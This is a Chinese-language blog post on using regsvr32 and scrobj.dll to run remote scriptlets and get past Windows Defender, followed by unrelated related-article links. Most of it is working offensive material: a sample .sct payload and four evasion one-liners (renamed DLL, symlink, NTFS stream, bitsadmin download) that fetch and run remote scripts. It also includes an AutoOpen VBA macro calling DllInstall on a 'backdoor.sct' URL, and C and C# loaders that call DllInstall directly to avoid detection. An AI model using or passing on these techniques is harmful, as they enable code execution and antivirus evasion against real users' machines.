原文链接:blog

在对regsvr32的用法进行了解之后,对于Casey Smith的远程js脚本执行命令的思路很感兴趣。

命令语法如下:

regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll

原理则是利用com组件的scriptlet注册方式,关于scriptlet的介绍可以参考MSDN,差不多就是用脚本形式实现com组件和asp互操作,但其实除了给asp调用之外还可以给其他.net组件调用。

命令中的参数介绍:

  • /s: 静默模式,不弹框
  • /n: 不调用DllRegisterServer
  • /u: 卸载com组件
  • /i: 传给DllInstall的参数内容
  • scrobj.dll: com服务器,全名 Windows Script Component,DllInstall方法在这个组件中实现

根据msdn关于DllInstall的介绍中:“It is invoked by regsvr32 to allow the DLL to perform tasks such as adding information to the registry.”,可知,regsvr32允许注册过程中dll进行一些自定义的安装过程,该过程在DllInstall中实现。

该函数原型如下:

HRESULT DllInstall(
BOOL bInstall,
PCWSTR pszCmdLine
);

regsvr32中的/i参数指定的内容,会被直接传递到pszCmdLine,/u参数会将false传递到bInstall,所以对sct文件的调用肯定在scrobj.dll中的install过程。

这么看,regsvr32只不过是负责调用dll的一个工具,可能还会有写入注册表的功能。

理解到这里之后,我们在defender开启的情况下尝试一下这个方法,发现被拦截:

报毒:Backdoor:JS/Relvelshe.A,看受影响项目是脚本文件,可能是脚本内容没有过amsi检测。

文件内容:

<?XML version="1.0"?>
<component id="TESTING">
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</component>

经测试,将new ActiveXObject("WScript.Shell").Run("calc.exe")中字符串提出来赋值给变量就没问题了(脚本内容太复杂不好改,也可以试试直接hook掉amsiscanbuffer)。

在sct不被杀的情况下,再次执行regsvr32,仍然被拦截:Trojan:Win32/Powemet.A!attk

从报毒中的cmdline可知检测的是命令行内容,所以在网上可找到的绕过姿势有四种(参考wh0ale):

  1. 改变scrobj.dll的名称
copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
  1. 为scrobj.dll创建符号链接
Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
  1. 利用NTFS ADS功能绕过
type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
  1. 先将sct文件放到本地,然后执行
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll
Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll

经过上面分析,其实可以看出来其实可以不用regsvr32.exe,使用他的目的是因为他是windows自带的,有微软签名,如果不考虑这个的情况下其实可以写程序直接调用scrobj.dll的DllInstall方法实现代码执行。

对于调用dll导出的函数,我首先想到的使用c实现:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tchar.h> int main()
{
TCHAR *dllpath = _T("c:\\windows\\system32\\scrobj.dll");
HMODULE hDllScr = LoadLibrary(dllpath);
if (hDllScr == NULL)
{
puts("Load scrobj.dll fail!");
}
puts("Load scrobj.dll success!");
printf("Address: %p\n", hDllScr);
void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
if (DllInstallProcAddr == NULL)
{
puts("Can not found DllInstall in scrobj.dll!");
}
printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
//((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
return 0;
}

很不幸,在执行的时候一直报错:

看这个原因和js有关系,但是无法具体确定哪里的原因,所以没想很多直接调试,对比regsvr32和他调用scrobj.dll的区别之处,最终发现到scrobj.dll的一处判断的地方没通过导致报错,貌似不是regsvr32做了什么暗箱操作。

调了十多遍,也不知道那处判断是做什么的,休息了几天,重新回到这个问题:如何手动调用scrobj.dll对DllInstall传参?

查了半天资料,终于看到一篇文章:https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/,其中讲了两点内容:

  1. 如何不用regsvr32运行远程com脚本
  2. 在office宏中调用已经存在磁盘上的dll

第一点正是我所需要的,看了之后发现这位大佬是在office宏中实现的,宏代码如下:

Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long

Sub AutoOpen()
DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") ' False = "Don't install"
End Sub

看代码,和上面我用c写的代码差不多,但是本地在office中用宏测试了一下真的可行。

经过一番思考,发现VB也是基于.net平台的,是不是这个原因,我用c写的肯定没有.net环境,改用c#试一下:

using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.ComponentModel; namespace scrobj_call_csharp
{
static class NativeMethod
{
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); } class Program
{
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine); static void Main(string[] args)
{
const string dllPath = "scrxxobj.dll";
IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);
if(hDllScr == IntPtr.Zero)
{
var lasterror = Marshal.GetLastWin32Error();
var innerEx = new Win32Exception(lasterror);
innerEx.Data.Add("LastWin32Error", lasterror); throw new Exception("Can't load Dll " + dllPath, innerEx);
} IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");
DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall)); fDllInstall(false, "http://127.0.0.1\\ttt.txt");
}
}
}

稍微麻烦一点,但是真的调用成功了。如此看来,使用C#或者其他基于.net的代码直接调用scrobj.dll绕过Defender也是可行的。


经过查资料发现c也可以使用.net环境,在vs中新建一个clr空项目,将cpp文件添加上去编译即可!

regsvr32 bypass windows defender 新思路的更多相关文章

  1. Bypass Windows Defender Dump Lsass(手法拙劣)

    0x00.前言 Windows Defender是一款内置在Windows操作系统的杀毒软件程序,本文旨在记录实战环境中,服务器存在Windows Defender情况下转储凭证的渗透手法,技术简单粗 ...

  2. Windows Defender无法开启问题

    针对Win8及以上系统: 按Win+R键,输入services.msc,下滑找到以W开头的Windows Defender相关项,右键在属性中设为自动并开启. (若1无法解决)按Win+R键,输入re ...

  3. 关闭Win10自带的 Windows Defender

    1.按下Win+R,输入gpedit.msc 2.进入组策略,选择计算机配置>管理模板>Windows 组件>Windows Defender 3.双击"关闭 Window ...

  4. Win10如何隐藏Windows Defender任务栏图标

    导读 Windows 10 至发布以来就内置集成了 Windows Defender 安全防护应用,但有许多用户平常压根儿就没注意到它的存在.微软为了使安全防护功能更加明显,Windows 10 周年 ...

  5. 开源软件free download manager在windows defender中报毒

    从官网上下载的fdm lite 3.9.6,从图片中可以看出安装包有数字签名,windows defender报毒,在线杀毒也检出木马,官网的程序更新到了3.9.6版本,在sourceforge上的源 ...

  6. 如何彻底关闭windows defender

    我是一个喜欢裸奔的人,我不喜欢使用那些安全软件,什么360啊,什么毒霸啊让我深恶痛绝,就连windows自带的杀软我都不能忍啊,因为我平时喜欢找一下软件,很多的补丁和注册机,这些安全软件都会误报,所以 ...

  7. Windows Defender Service 是选择Windows 10系统的最大障碍!

    今天从早上开始,Windows Defender Service服务从CPU消耗资源30%一直上升到60%并且无法下降. 我一直使用的是Windows 10 Enterprise 2016长期服务支持 ...

  8. 微软将把Windows Defender防火墙传递给 Linux 子系统

    前不久,微软以 Azure Sphere OS 的形式发布了自己的 Linux 版本.而在最新的开发中,该公司又决定将其 Windows Defender 防火墙的传递给 Linux 子系统(WSL) ...

  9. win10自带的防火墙Windows Defender

    Windows Defender防火墙(别名:windows守卫者)是微软公司自主研发的一款基于windows自身保护的一款系统. Windows Defender可以对系统进行实时监控,对于Wind ...

随机推荐

  1. LightOJ - 1214-Large Division(c++取模 + java的两种写法)

    Given two integers, a and b, you should check whether a is divisible by b or not. We know that an in ...

  2. vue项目前端导出word文件(bug解决)

    摘要:之前项目中导出价格表是由后端实现,前端只需要调用接口下载word即可,后来业务改变比较大,word模版需要一直改动,后端改起来相对麻烦,后来直接前端自己定义模版,实现下载word文档. 一.需要 ...

  3. 菜鸟电子面单对接技术方案(link)

    一.背景 快递业务日新月异,收发快递是生活中不可缺少的一部分了,特别是做微商的商家,每天发送大量的快递.填写快递单已经成为过去式,快递小哥上门收件的时候,都使用手持的中端设备,再也不用客户填写快递单了 ...

  4. SpringBoot2.0 配置多数据源

    一.简述 配置多数据源意思就是在一个项目中使用多个数据库,在项目使用中可以不用手动切换数据库来实现不同数据库的数据获取和更新. 源码地址: https://github.com/hanguilin/b ...

  5. 【深入理解Linux内核架构】3.2 (N)UMA模型中的内存组织

    内核对一致和非一致内存访问系统使用相同的数据结构.在UMA系统上,只使用一个NUMA结点来管理整个系统内存.而内存管理的其他部分则相信他们是在处理一个伪NUMA系统. 3.2.1 概述 内存划分为结点 ...

  6. 论如何学习Extjs

    可能现在学习Extjs相比于Vue,在网上的资料要少很多,不过一些旧的视频还是可以帮助你们了解到Extjs是怎么回事. 这里讲一下自己是如何开始学习Extjs语言的: 1.先从Ext的中文文档中学习怎 ...

  7. 基于Socket的编程

    2020/7/5 客户端步骤: 1.创建Socket. 根据指定服务端的IP地址或者端口号构造Socket类对象: Socket socket  =  new  Socket(InetAddress. ...

  8. js中模拟移动端长按效果

    我们都知道 js 是有onmousedown(鼠标按下事件)和onmouseup(鼠标抬起事件),刚开始我的思路是 鼠标抬起时间减去鼠标按下时间 var oDiv = document.getElem ...

  9. 使用U盘的PE系统安装Windows10操作系统 - 初学者系列 - 学习者系列文章

    今天闲来无事,就把windows 10的安装再重写一个文(以前写过一个:安装免费的正版Windows10操作系统 - 初学者系列 - 学习者系列文章  ). 1.  制作一个WinPE的U盘. 相信现 ...

  10. matlab外部程序接口-excel

    在excel中使用matlab 内容: 1.Spreadsheet Link 程序 安装与启动 1 打开excle->文件->选项 2.加载项->转到 3.浏览(可用加载宏,本来没有 ...